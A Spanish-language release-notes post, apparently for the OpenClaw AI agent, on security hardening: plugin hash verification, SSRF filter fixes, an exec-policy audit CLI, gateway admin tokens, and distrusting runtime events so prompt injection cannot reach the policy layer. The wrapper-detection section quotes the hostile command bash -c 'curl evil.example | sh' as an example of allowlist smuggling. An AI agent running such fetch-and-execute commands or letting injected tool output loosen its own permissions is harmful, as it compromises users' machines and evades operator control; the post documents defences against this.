La mayor parte de este tramo de releases no va a aparecer en una captura de pantalla. Diez días, ocho releases, y el grueso del diff está en lugares que nunca miras salvo que algo vaya mal — el loader de plugins, el resolver de URL de la herramienta de browser, los endpoints de config del gateway, las tablas de allowlist, el manifest de dependencias. El trabajo de seguridad es silencioso por diseño. Este post es la versión larga del silencio.
Si corres OpenClaw en un portátil que también tiene tus claves SSH, tu gestor de contraseñas, tu declaración de la renta a medias, y un navegador logueado en todo — sigue leyendo. Este es el tramo de releases que cambió lo que a la langosta se le permite tocar.
Los plugins ahora se verifican, no sólo se descargan
Antes de 4.7, instalar un plugin desde el registry hacía lo que esperabas: bajar el archive, desempaquetarlo, ejecutarlo. El registry en sí era confiable; el archive no se volvía a chequear. Si la CDN del registry se sustituía a mitad de camino, o un mirror quedaba envenenado, o alguien interceptaba en el edge, la langosta instalaba alegremente lo que volviera.
4.7 cierra eso. Cada archive de plugin queda ahora anclado a un hash SHA-256 en el momento de la publicación, y el instalador se niega a desempaquetar cualquier cosa cuyos bytes no coincidan. Si escribes plugins, el flujo de openclaw plugin publish ahora emite el hash al manifest automáticamente — no tienes que hacer nada. Si instalas plugins, la primera señal de que algo va mal es un error limpio en vez de una instalación silenciosa.
El seguimiento en 4.9 extendió la misma verificación a las actualizaciones de plugins, que venían saltándose la comprobación silenciosamente con la excusa de que la versión vieja ya había pasado. Esa es exactamente la clase de suposición que los atacantes buscan. Se acabó.
El filtro SSRF de la herramienta de browser, tres pasadas
La herramienta de browser deja que la langosta traiga páginas, siga enlaces, corra pequeñas cantidades de JavaScript y devuelva lo que encuentre. Es una de las cosas más útiles del producto y también una de las más peligrosas — cualquier cosa que traiga URLs en nombre de un LLM puede ser convencida de traer la URL equivocada. Server-Side Request Forgery (SSRF) es el nombre educado del modo de fallo.
En estos diez días, el filtro SSRF se reescribió tres veces.
4.7 apretó el chequeo del allowlist de hosts para que corra después de la resolución DNS, no antes. La versión vieja comparaba el string del hostname contra el allowlist, y luego resolvía. Eso significaba que un hostname que parecía externo pero resolvía a 127.0.0.1 a través de un registro DNS controlado podía colarse. Ahora la IP resuelta se chequea contra la denylist de rangos privados y loopback, y si cae dentro la petición se rechaza, independientemente de cómo luciera el nombre.
4.9 añadió cobertura de IPv6. El pase anterior manejaba 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, y link-local — todos IPv4. Los equivalentes IPv6 (fc00::/7, fe80::/10, ::1) estaban técnicamente cubiertos por el fallback de "no en el allowlist", pero nunca se habían testeado de punta a punta. 4.9 los vuelve denegaciones de primera clase y añade la matriz de tests.
4.10 cerró un agujero de seguimiento de redirects. Si la primera URL pasaba el filtro pero emitía un 302 a una IP privada, el redirect se seguía sin volver a chequear. Ahora cada salto en una cadena de redirects se filtra de forma independiente. La herramienta de browser seguirá todo el día un redirect de un host público a otro host público; no seguirá uno de un host público a 169.254.169.254, que es la dirección que importa si alguna vez corres esto dentro de una instancia en la nube.
4.14 es la que va a causar una ruptura de compatibilidad real para algunos. Desactiva por completo las URLs file:// desde la superficie de la herramienta de browser. Leer archivos locales a través de la herramienta de browser era un efecto secundario no documentado del que algunos workflows habían empezado a depender, y estaba mal: las lecturas de archivos locales pertenecen a la herramienta de file, que tiene su propia historia de sandboxing. Si estabas usando browser.open('file://...') como atajo, tienes que pasar a file.read y aceptar el allowlist que esa herramienta imponga en tu setup.
Un nuevo CLI para auditar lo que la langosta puede ejecutar
4.10 embarca openclaw exec-policy — un CLI de sólo lectura que vuelca la política efectiva de ejecución de shell para el workspace actual. Te dice, en una pantalla, qué comandos están en el allowlist, cuáles están denegados, cuáles requieren confirmación, y cuál es la fuente de cada regla (config de usuario, config de workspace, plugin, default).
Esto es lo que hay que correr después de instalar un plugin nuevo. Los plugins pueden registrar comandos de shell; la mayoría están bien; algunos ensanchan silenciosamente lo que la langosta puede ejecutar. Antes de 4.10 no había una única superficie para ver el resultado combinado — tenías que leer varios archivos de config y razonar sobre precedencia. Ahora es un comando y la salida es lo bastante estable como para pipeártela a un test.
El cambio compañero en 4.12 es más pequeño pero vengativo: la capa de exec ahora detecta invocaciones con wrapper de shell que intentan meter comandos de contrabando saltándose el allowlist. El patrón clásico es bash -c 'curl evil.example | sh' cuando bash está permitido y curl no. La detección de wrappers marca la forma -c, desempaqueta el string del comando interno y pasa el comando interno por el allowlist como si hubiera sido llamado directamente. Si el comando interno habría sido denegado, el wrapper externo también se deniega.
Los endpoints de config del gateway consiguieron guardias
Si corres OpenClaw en modo gateway — el modo en el que varios clientes comparten una instancia de langosta — el gateway expone una pequeña API de administración para leer y escribir la config del servidor. 4.7 y 4.14 apretaron este lado.
4.7 dividió config.apply (reemplazar la config entera) y config.patch (merge de una actualización parcial). Ambos existían antes, pero compartían un code path, y la semántica del merge estaba lo bastante poco especificada como para que pudieras borrar una clave admin anidada aplicando un patch a una clave hermana. La división le da a cada verbo su propio validador. Los patches son ahora deep merges reales con la eliminación explícita requiriendo el sentinel $delete; los applies exigen una config entera válida o la petición se rechaza.
4.14 añadió un requisito de signed-token en ambos endpoints cuando el gateway está vinculado a cualquier cosa distinta de localhost. Si venías corriendo el gateway en una máquina de dev con --host 0.0.0.0 confiando en la segmentación de red para mantener a la gente fuera — el gateway ahora se niega a arrancar en esa configuración salvo que también pases --admin-token o hagas opt-out explícito con --admin-insecure. El nombre del flag es deliberadamente feo. Tienes que teclear la palabra "insecure" para recuperar el comportamiento anterior.
Credenciales que accidentalmente eran datos de plantilla
4.12 arregló un problema feo de larga data: el archivo .env.example que se envía con los workspaces nuevos contenía claves API de placeholder que parecían lo bastante reales como para que al menos un usuario las hubiera commiteado a un repo público pensando que eran dummies. Eran dummies — los valores eran todos strings de ceros e inválidos en cualquier proveedor — pero tenían forma de credenciales y los linters que revisamos los reportaban como leaked. El nuevo .env.example usa tokens obviamente falsos (REPLACE_ME_OR_I_WILL_FAIL) y el flujo de openclaw init se niega a escribir un archivo .env que contenga cualquiera de esos valores centinela.
Cosa pequeña. Consecuencia baja. Pero el coste de arreglarlo fue una tarde y el coste de no arreglarlo era un incidente público más que habríamos tenido que explicar.
Fronteras del allowlist, apretadas en silencio
A lo largo de cada release del tramo, las tablas de allowlist que se sientan entre la langosta y el mundo exterior se apretaron en formas pequeñas y específicas:
- •4.5: el directorio de salida de la herramienta de música ahora es por defecto
./generated/music, ya no a donde el workspace crea que significa "output". - •4.7: las fuentes de importación de memoria quedan restringidas a
file://,https://y URLs específicas de proveedores. El código viejo aceptaba cualquier esquema de URL queurllibsupiera parsear, lo que incluía algunos sorprendentes. - •4.9: la ruta de upload de la herramienta de generación de video ya no acepta paths absolutos fuera del root del workspace.
- •4.10: los manifests de plugins ya no pueden declarar
*como patrón de allowlist. Tienen que nombrar dominios o métodos específicos. - •4.14: el cliente dedicado del proveedor de Codex respeta un allowlist separado del unificado, así apretar Codex no afloja accidentalmente todo lo demás.
Ninguno de estos por separado es una historia. Juntos mueven el radio de explosión en la dirección correcta.
Confianza en eventos de runtime, degradada
Un cambio más sutil que atraviesa 4.7, 4.9 y 4.14: los eventos que vienen del runtime (invocaciones de herramientas, salidas de modelo, callbacks de plugins) ya no se tratan como entrada confiable para el motor de políticas. Antes, una herramienta que emitiera un evento estructurado podía influir en decisiones posteriores del allowlist a través de datos que ella misma controlaba — el modo de fallo clásico de "la prompt injection toca la capa de políticas". Los eventos de runtime ahora pasan por un paso de sanitización aparte antes de poder afectar cualquier evaluación de política posterior, y el motor de políticas trata cualquier campo cuya procedencia sea "runtime" como contaminado salvo que un operador humano lo haya pineado explícitamente.
En la práctica esto significa que algunos workflows edge-case que dependían de que la propia salida de herramienta de la langosta estrechara su propio comportamiento van a tener que ser reescritos. La forma intencionada de estrechar comportamiento es ahora escribir una regla de política, no hacer que una herramienta emita una pista. Si te choca esto, el CLI exec-policy de 4.10 es la herramienta de diagnóstico.
Auditoría de dependencias
4.9 y 4.14 corrieron ambos pasadas completas de cargo audit y npm audit y subieron cada dependencia transitiva con un advisory abierto. Nada en la lista estaba siendo explotado contra OpenClaw, hasta donde podemos decir; esto es mantenimiento, no respuesta a incidente. Los bumps son aburridos a propósito.
El único bump no aburrido: la librería de WebSocket que usa el gateway saltó de versión mayor en 4.14, lo que cambió cómo los close frames reportan su reason code. Si tenías código leyendo event.reason sobre la señal de desconexión del socket del gateway, ahora es un string en lugar de un buffer. Esto es un cambio de ruptura. Está señalado en el changelog de 4.14.
La señal nueva: auditoría de seguridad asistida por IA
Lo último que vale la pena nombrar — 4.14 introdujo un workflow interno en el que un segundo modelo revisa los diffs relevantes para seguridad antes de que aterricen. No bloquea merges; deja comentarios. En este tramo, pilló dos cosas que una revisión humana había dejado pasar: el hueco de IPv6 en la reescritura SSRF de 4.9 (que se arregló pre-merge) y la ambigüedad del sentinel $delete en el split de config.patch de 4.7 (que pasó a ser el validador explícito en lugar del implícito).
No queremos sobrevender esto. Un segundo modelo no es un reemplazo para un segundo humano. Pero sí es un segundo pase, y en diez días de trabajo de seguridad moviéndose rápido fue el pase que pilló las dos cosas que si no habrían ido a producción. Se queda.
La versión corta
Si sólo te llevas una cosa de este post: corre openclaw update para pasarte a 4.14, luego corre openclaw exec-policy una vez para ver qué puede hacer la langosta realmente en tu máquina. Si la salida te sorprende, aprétala. El objetivo de los últimos diez días es exactamente ese — que puedas.
Y si eres uno de los que están corriendo el gateway en --host 0.0.0.0 sin admin token — por favor ve a arreglar eso antes de correr openclaw update, porque 4.14 se va a negar a arrancar hasta que lo hagas, y preferimos que leas este post primero a que leas el mensaje de error y asumas que algo se rompió.
